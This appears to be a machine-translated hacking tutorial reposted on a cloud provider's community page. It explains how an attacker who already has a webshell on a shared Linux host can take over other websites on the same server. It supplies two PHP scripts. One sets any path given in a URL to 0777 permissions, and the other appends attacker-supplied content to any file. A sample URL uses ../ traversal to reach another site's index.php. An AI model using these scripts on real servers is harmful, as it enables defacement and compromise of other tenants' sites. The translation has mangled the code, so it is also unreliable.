Modifying file permissions using webshell in linux

Source: Internet
Author: User
When we have a linux shell (multiple websites on the server ). This shell has the write permission to the root directory of the website, and can even view the directories of other websites. Therefore, such host settings are definitely insecure. Sometimes, we want to obtain permissions for other websites on the same server. for example, if we have a linux shell (multiple websites on the server) for other websites directly ).
This shell has the write permission to the root directory of the website, and can even view the directories of other websites.
Therefore, such host settings are definitely insecure.
Sometimes, we want to obtain the permissions of other sites on the same server, such as directly modifying index. php of other sites, but we find that there is no permission.
We can use the following script to add permissions to files on other sites.
Code:
$ Path = stripslashes ($ _ GET ['path']);
$ OK = chmod ($ path, 0777 );
If ($ OK = true)
Echo "chmod OK, Permission editable file or directory. Permission to write ";
?>
Save as chmod. PHP
Easy to use, access
Http: // site/chmod. php? Path = ../directory of other sites/index. php
Here, index. PHP is the file for permission modification.
Another exploit:
Save the following code as exploit. PHP
Code:
@ $ Filename = stripslashes ($ _ POST ['filename']);
@ $ Mess = stripslashes ($ _ POST ['mess ']);
$ Fp = @ fopen ("{$ _ POST ['filename']}", 'A ');
@ Fputs ($ fp, "$ mess ");
@ Fclose ($ fp );
?>


Changing CHMOD Permissions Exploit-Contact: the_gl4di4t0r [AT] hotmail [DOT] com



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.